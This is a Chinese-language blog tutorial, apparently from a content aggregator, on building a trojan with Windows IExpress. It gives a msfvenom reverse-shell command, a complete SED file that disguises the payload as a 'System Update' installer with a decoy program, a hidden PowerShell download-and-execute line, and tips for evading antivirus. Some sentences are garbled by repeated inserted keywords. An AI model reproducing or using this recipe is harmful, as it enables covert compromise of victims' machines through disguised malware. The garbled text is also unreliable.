您现在的位置是:综合 >>正文
iexpress制作木马过程
综合62428人已围观
简介IExpress 是 Windows 自带的一个小工具,藏在 System32 文件夹里,文件名 iexpress.exe。它的正经用途是打包安装程序,把一堆文件塞进一个自解压的 exe 里。问题在于 ...
IExpress 是制作 Windows 自带的一个小工具,藏在 System32 文件夹里,木马文件名 iexpress.exe。过程它的制作正经用途是打包安装程序,把一堆文件塞进一个自解压的木马 exe 里。问题在于,过程这个“自解压”机制可以被反过来用——让一个 exe 在解压后自动执行你指定的制作任何命令。整个过程不需要写一行代码,木马不需要装任何第三方工具,过程Windows 自己就提供了全套材料。制作
我第一次注意到这个玩法是木马在一个老外的红队博客上。他演示了怎么用 IExpress 把 Meterpreter 的过程 payload 包成一个看起来像软件安装包的 exe。当时觉得挺妙,制作因为杀毒软件对 IExpress 生成的木马包天然信任度偏高——毕竟这是微软签名的系统组件做出来的东西。
准备 payload
你得先有一个要执行的过程东西。用 msfvenom 生成一个反向 shell 的 exe 是最常见的做法:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe 把这个 payload.exe 放到一个干净目录里,比如 C:\build\。同目录下再放一个正常的程序,比如 putty.exe 或者某个小工具,用来做掩护。IExpress 会把这两个文件一起打包,解压后同时释放出来。
构造 SED 文件
IExpress 的核心是 SED 文件——Self Extraction Directive。它是个纯文本的配置文件,告诉 IExpress 怎么打包、解压后运行什么。可以直接用记事本写一个:
[Version] Class=IEXPRESS SEDVersion=3 [Options] PackagePurpose=InstallApp ShowInstallProgramWindow=1 HideExtractAnimation=0 UseLongFileName=1 InsideCompressed=0 CAB_FixedSize=0 CAB_ResvCodeSigning=0 RebootMode=N InstallPrompt= DisplayLicense= FinishMessage= TargetName=C:\build\update.exe FriendlyName=System Update AppLaunched=cmd /c payload.exe PostInstallCmd=<None> AdminQuietInstCmd= UserQuietInstCmd= SourceFiles=SourceFiles [Strings] FILE0="payload.exe" FILE1="putty.exe" [SourceFiles] SourceFiles0=C:\build\ [SourceFiles0] %FILE0%= %FILE1%= 关键在 AppLaunched 那一行。它指定解压完成后自动执行的命令。写 cmd /c payload.exe 是为了让 payload 在后台跑,不弹黑框。TargetName 是最终生成的 exe 路径,FriendlyName 是安装窗口上显示的标题。
执行打包
命令行下跑:
iexpress /N /Q C:\build\test.sed /N 表示用 SED 文件,/Q 是静默模式。几秒钟后 C:\build\update.exe 就出来了。双击它,会看到一个进度条窗口,标题写着“System Update”。进度条走完,payload 已经在目标机器上执行了,同时 putty.exe 被释放到临时目录里,看起来就像个正常的安装过程。
实际效果和局限
这个方法的优势是零依赖、零编译。任何 Windows 机器上都能做,生成的 exe 体积也小——只有 payload 和掩护文件加起来的体积,通常几百 KB。缺点是 IExpress 的窗口样式很老,Win10 上看起来像 XP 时代的东西,细心的用户会觉得不对劲。
另一个问题是解压路径。IExpress 默认解压到 %TEMP% 下的一个随机目录,payload 执行时的工作目录就在那里。如果 payload 需要读写同目录的文件,得注意路径问题。用 cmd /c cd /d %~dp0 && payload.exe 可以切到解压目录再执行。
杀软方面,Windows Defender 对 msfvenom 生成的裸 payload 查杀率很高,但 IExpress 的壳本身不触发报警。所以关键在于 payload 本身要做免杀处理——编码、加壳、或者用 Cobalt Strike 的 artifact kit 重新编译。IExpress 只是提供了一个合法的投递容器,真正决定成败的是里面装的东西。
我试过把 payload 换成 PowerShell 下载远程脚本的命令,效果更干净:
AppLaunched=powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/run.ps1')" 这样生成的 exe 里连恶意代码都没有,纯粹是个下载器。Defender 对这种“干净”的 IExpress 包基本不拦。当然,网络层面的检测是另一回事了。
IExpress 不是漏洞,是功能滥用。微软没打算修,因为修了会破坏大量正常的安装包。对于渗透测试来说,它是个顺手的小工具;对于防御方来说,监控 iexpress.exe 的异常调用比封堵这个工具本身更现实。
Tags:
上一篇:wordpress 漏洞
下一篇:利用赔率排除平局
相关文章
常规渗透检测设备大全
综合拿上一台笔记本,装好Kali,再塞一块外置网卡,很多人以为这就是渗透检测的全部家当。真到实战里,这配置连门都摸不着。常规渗透检测的设备清单,远比想象中庞杂,而且越冷门的家伙,越可能在关键时刻救命。 先 ...
【综合】
阅读更多复古传奇网页版端口下载
综合直接说结论:复古传奇网页版能不能跑起来,端口下载这一步卡住了八成新手。我见过太多人拿着服务端文件却连登录器都打不开,问题就出在端口配置和配套文件没下对。今天把这事掰开揉碎讲一遍,顺便给几个能直接用的下 ...
【综合】
阅读更多网站监控排行榜
综合打开UptimeRobot的仪表盘,我盯着那条几乎贴着100%的绿线看了三秒——这是给一个只有两百人访问的小博客做的监控。旁边另一个站点的曲线就没这么体面了,过去七天里往下掉了四次,最短的一次只断了4 ...
【综合】
阅读更多